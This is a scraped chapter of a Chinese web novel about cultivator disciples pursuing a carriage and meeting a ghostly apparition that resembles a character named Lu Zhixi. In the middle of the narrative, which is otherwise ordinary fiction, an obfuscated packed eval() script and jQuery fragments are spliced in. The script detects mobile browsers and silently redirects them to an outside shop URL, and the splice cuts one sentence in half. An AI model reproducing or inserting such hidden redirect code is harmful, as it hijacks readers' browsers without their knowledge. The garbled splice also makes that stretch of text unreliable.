文趣网 > 其他小说 > 冥婚对象成了我道侣 > 50. 第 50 章
    翌日,卞明初代父祭祖的消息不胫而走,顾若渝两人赶去卞家时,人已经走了一会儿了。

    “岂有此理!”从卞家出来的莫茹萱气极,“她明明知道我们在等她,居然连个消息也不留就走了,一看就是故意的!要不是宗主命令,谁愿意当狗皮膏药跟着她!”

    顾若渝看着气呼呼的莫茹萱有些好笑,师妹个性率真,灵动可爱,这两日陪着她都险些忘记了师尊交待的事。她轻轻摸了摸莫茹萱头顶,安抚道:“陆姑娘在宸虚宫受了委屈,卞姑娘有此反应是应该的。她们虽然车马先行,但走的时间不长,我们御剑应当很快就会追上。”

    莫茹萱第一次被摸头,顾若渝的力道轻柔,舒服得她想眯起眼睛,她喜欢顾若渝的亲近,虽然她知道顾若渝说的都是对的,但不能忍受顾若渝受气,她不免埋怨起子如泽:“人家自己不想回,却下这种命令,分明是难为师姐你。”

    “师妹。”顾若渝轻声喝止,语气间却无一丝怪责之意。

    莫茹萱顿时噤声。自己这个师姐太过风光霁月了,就像一块完美无瑕的美玉,不管遇见什么事情都能淡然应对,恪守宗规,事事为先,全然不为自己考虑。莫茹萱有些无奈,却只能乖巧地听从顾若渝的话。

    两人出城后,便御剑追赶卞明初一行人。

    不久,她们便在同一个位置——韦城外,看见了一行车队。大道上一辆马车走在最前方,后边还跟着几辆货运车马,两侧有仆从护送,最重要的,是最前方马车旁的一位婢女,正是之前遇见过的枳月。

    “枳月姑娘请留步。”顾若渝两人拦住队伍去处。

    后边的仆从见有人拦路,正要动作,便被枳月一个手势制止了。

    再一次看见这张肖似自家小姐的脸,枳月心中仍不免感叹,朝两人行过礼后,按照卞明初交待的话回道:“见过两位仙长,不知两位仙长有何事?”

    顾若渝迂回道:“若渝奉师命下山保护卞姑娘安全,为免打扰贵府,之前一直住在客栈。今日听说卞姑娘要去朝荥祭祖,这才匆匆赶来。”

    “这怎么和小姐跟她说的不一样?”枳月心中有些纳闷,却仍是秉持礼节回道,“有劳仙长挂念,只是这路途尚远....两位不辞辛劳,我家小姐却过意不去,所以才没有让人通知两位仙长。”

    莫茹萱不满正欲回话,却被顾若渝拦下:“既如此,那若渝便在城内等卞姑娘回来。”

    马车重新启程,待一行人远去,莫茹萱疑惑道:“师姐,你为什么拦住我?卞家连婢女都如此无礼!”

    顾若渝轻笑道:“你觉得卞姑娘知道我们来了,会不下车见我们吗?”

    “师姐的意思是....”

    “马车里面没人。”她用灵力探测过了。

    ——————

    “这都过去几日了,不说‘鬼影’,就连普通的邪魅也没遇见过,该不会是那东西望风而逃了吧?”

    那日玄落和她们说完‘鬼影’的情况,次日她们也有去向村民求证。白日的村子和夜晚大不相同,几名村名热情地给她们解答了问题,证明‘鬼影’确有其事。这几日,她和师兄昼伏夜出的,就为了查明‘鬼影’的事情,却一次也没遇上。

    玄落附和道:“我觉得也是,两位仙长这么厉害,自从你们来了后,我们村周围都太平不少!在你们来之前,总有野兽狼嚎,就算没有‘鬼影’,我们晚上也不敢轻易出门。”

    左令淮看着身边的一大一小轻轻摇头,很是无奈。这几日和玄落接触下来,这小女孩俨然就是小号的燕知行,活泼可爱,伶俐又机敏,原本对她有颇有微词的燕知行现下也和她打成了一片。

    燕知行和玄落能相安无事地相处,是左令淮愿意看见的,可她们原本滞留在此的原因是‘鬼影’。修仙之人,当以除祟安民为己任,机遇固然重要,可途中的突发事件也是一种历练。玄落口中的‘鬼影’实在是很奇怪,没有实体,还不伤人。虽然没有亲眼见到,可她仍不敢掉以轻心,但妖族那边给了她时限,她也不能在此久待下去。

    她沉吟片刻,对玄落提出了离开的想法:“‘鬼影’虽然没有见到,但难免有一日它不会作恶,但我们还有事,不能长留在这。临走前,我会布一个保护村子的阵法,这样,你们就不必晚上早早闭门不出了。”

    玄落闻言小脸瞬间垮了下去,一对小鹿般的眼睛水汪汪的:“仙长,你们这么快就要离开了吗?”

    连一贯骄矜的燕知行都有些不忍,叹气道:“修仙之人,讲的都是一个聚散随缘,你....你若是有修道的想法,等再长大些,可以去伯浮,我们就是出师伯浮的皓乙门。”

    通过这几日的观察,燕知行也发现了玄落对修仙之道的崇意,甚至晚上她们去蹲守‘鬼影’也多次央求带上她,可出于安全考虑,几次都被左令淮拒绝了。

    “既然两位仙长都是出自皓乙门,那我就不能现在就拜你们为师吗?这样我就可以跟你们一起走了。”

    两人俱是对玄落的童言童语感到好笑,左令淮在她身前蹲下,和她平视道:“各大宗门都是有规矩的,收徒都是统一时间,而且,我们现在还只是才入门几年的弟子,修行尚浅,没有收徒的资格。”

    玄落失望不已,嘴角低垂,眼睛睫毛颤了颤,小心翼翼地抬起眼,不死心地央求道:“我....我就是舍不得你们,从我记事起就是自己一个人,村里的大叔婶子虽然很好,可她们都有家人,就我没有。”玄落原本失意的语气已经逐渐带着哽咽,“这个家也是原来的主人搬走后不要的,我...我想跟你们一起走,我绝对会乖乖的...不给你们添乱...”说着说着,玄落终于忍不住哭出了声,两行眼泪早有预兆地掉了下来,左令淮有些无措,转头朝燕知行投去求助的眼神。

    燕知行也心有不忍,却是第一次遇见小孩子哭泣,不知道如何应对。不知道从哪拿出来一串糖葫芦塞进玄落嘴里,故意装出嫌弃的样子道:“别哭了,之前怎么不知道你这么爱哭,我看如果真带你上路,不定遇见什么小妖小鬼,你就又被吓得哇哇大哭了。”

    玄落本就因为嘴里突然被塞进东西而瞪大眼睛,却在听完燕知行的话后眨了眨眼,唔唔地嘴里不知道说什么,睫毛上的泪珠欲落不落,眼睛里却满是欣喜,看起来滑稽中又带着可爱。

    一旁的左令淮没想到到燕知行居然会答应带玄落一起上路,她皱了皱眉开口劝说:“师妹....”

    “师兄,我知道你想说什么,无非就是担心路上不太平,遇见危险无法护住她。”左令淮见她知道自己要说说什么,更加不解了,却也只是静静望着她,让她继续说。“但是朝荥有冥华派坐镇,若真出了什么事,他们收到我们求助的消息也会及时支援的。而且这小丫头机灵着呢,遇见危险说不定跑得比我们还快!”

    “燕姐姐说的对,”玄落把嘴里的糖葫芦拿在手里,眼眸闪亮。她没想到看起来凶巴巴的燕知行居然会同意带上她,还替她劝说左令淮,此时对她的好感甚至超过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615372|203416||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了左令淮,嘴甜地改了称呼。“我遇见危险一定躲得远远的,绝对不会给你们拖后腿!”

    左令淮无声地和燕知行对视半晌,最终还是妥协地叹了口气:“就依师妹的。”

    玄落高兴地蹦跳起来,笑得合不拢嘴朝燕知行道:“谢谢燕姐姐!”

    燕知行嘴角不自觉扬起哼了一声,像只傲娇的猫将头偏向一边。

    一切说定后,两大一小稍作安顿便出发了,左令淮也按她先前说的,在村里设下保护阵后才离开。

    玄落一开始怕左令淮两人嫌弃自己聒噪,硬是克制了一番没有说话,后来实在是无聊,原本闹腾的性子再也压抑不了,絮絮叨叨地问燕知行各种趣事。兴许是路途过于无聊,燕知行也难得地耐着性子为她一一解答,左令淮则是在一旁侧耳倾听,享受着这难得的安宁。

    然而这份安宁却未能持续很久,就像是有人故意捉弄,在她们走出村子一个时辰后,遍寻不得的‘鬼影’毫无征兆地出现在她们眼前。

    三人此时所在的位置是一片戈壁,疾风掠过,带起细沙搅得空中黄扑扑的,头顶的天阴沉得可怕,明明刚过申时,却看起来像是到了酉时。

    空气逐渐带着湿意,左令淮抬头看了眼天,对即将降下大雨担忧不已,打算和燕知行商量找一处地方避雨,身旁的两人却突然面露讶色停了下来。

    “师兄!”燕知行缓缓抬手,瞪大眼睛指向前方,“你快看!”

    玄落也在燕知行出声的时候,躲到两人身后,探出个头对左令淮小声嚷道:“就是它!这就是我说的那个‘鬼影’!”

    左令淮循着燕知行手指方向看去,顿时瞠目屏住了呼吸。

    一名身着黑红衣裳的女子悄无声息地出现在几丈远的地方,浑身带着业火犹如罗刹现世,肤色却又如溺死的水鬼般惨白,长发以一支木钗挽起,额间一抹赤红妖冶如火,可她却如海市蜃楼般,左令淮甚至可以透过她的身影看清她后方的虚空。

    让左令淮愕然的不是女子身形如幻,也不是没有灵力波动的显现,而是她一样冷傲如霜的模样。

    “这是.....”左令淮咋舌喃喃出声,“陆之希!?”

    眼前的‘陆之希’同她知道的那个陆之希长得别无二致,两人都是清冷的模样。但是相比她认识的陆之希,眼前这个幻影,眉眼间满是带着睥睨万物的漠然,无端让人生出寒意,心尖为之颤然。

    在场的两人一时都被她的威压震慑在原地,仿佛空气都被扼制,无形的压迫感让左令淮呼吸都变得急促起来,脖颈上的血管也因此而突起。

    左令淮垂在身侧的手指并拢,心中默念清心诀,霎时突破禁锢,手中召出乌拓弓,顷刻间发出三道灵箭朝‘陆之希’射去!

    青色长箭却径直穿身而过,飞向远处,‘陆之希’身体又恢复成原样。

    “怎...咳咳...么回事...咳咳?”燕知希按着自己脖子不住咳嗽,刚刚才清醒过来的她便被要命的窒息感包围,脖颈骤然一松,眼角都带了急泪,“我...我刚刚...咳咳咳...是怎么了?”

    左令淮眉头紧锁,即刻布下一个护体结界,护在三人身前,向身后的燕知行提醒道:“师妹,这个幻影有些古怪!”

    她看见幻影的长相后怔愣的瞬间,身体便动弹不得,好在及时念决静心召出灵力才得以脱身,本以为这道幻影是什么幻术,可从她刚才那一招看来,刚才的情况和幻术毫无关联,因为她刚刚那一式名为‘破幻’!